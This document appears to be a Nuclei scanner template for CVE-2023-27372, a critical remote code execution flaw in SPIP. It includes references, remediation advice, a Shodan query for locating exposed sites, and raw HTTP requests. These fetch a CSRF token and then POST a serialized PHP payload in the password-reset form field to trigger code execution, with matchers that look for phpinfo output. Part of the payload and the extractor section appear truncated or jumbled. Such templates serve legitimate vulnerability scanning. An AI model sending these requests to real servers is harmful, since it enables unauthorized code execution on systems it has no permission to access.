id: CVE-2023-27372 info: name: SPIP - Remote Command Execution author: DhiyaneshDK,nuts7 severity: critical description: | SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. remediation: | Apply the latest security patches or upgrade to a patched version of SPIP. reference: - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html - https://nvd.nist.gov/vuln/detail/CVE-2023-27372 - https://github.com/nuts7/CVE-2023-27372 - http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html - http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27372 epss-score: 0.97156 epss-percentile: 0.99755 cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 2 vendor: spip product: spip shodan-query: html:"spip.php?page=backend" tags: packetstorm,cve,cve2023,spip,rce http: - raw: - | GET /spip.php?page=spip_pass HTTP/1.1 Host: {{Hostname}} - | POST /spip.php?page=spip_pass HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:""; matchers-condition: and matchers: - type: word part: body_2 words: - "PHP Extension" - "PHP Version" - "]*value='([^']*)'" internal: true part: body_1 - type: regex group: 1 regex: - '>PHP Version <\/td>([0-9.]+)' part: body_2 # digest: 490a0046304402204bb81d32ea114cb6dfce505743fb87235a6d8f3776c3ce8c20c5c46e58e4db03022053e720f611615813bfadfef18e511fd77f2543956456396e6a5c55fc02f287c7:922c64590222798bb761d5b6d8e72950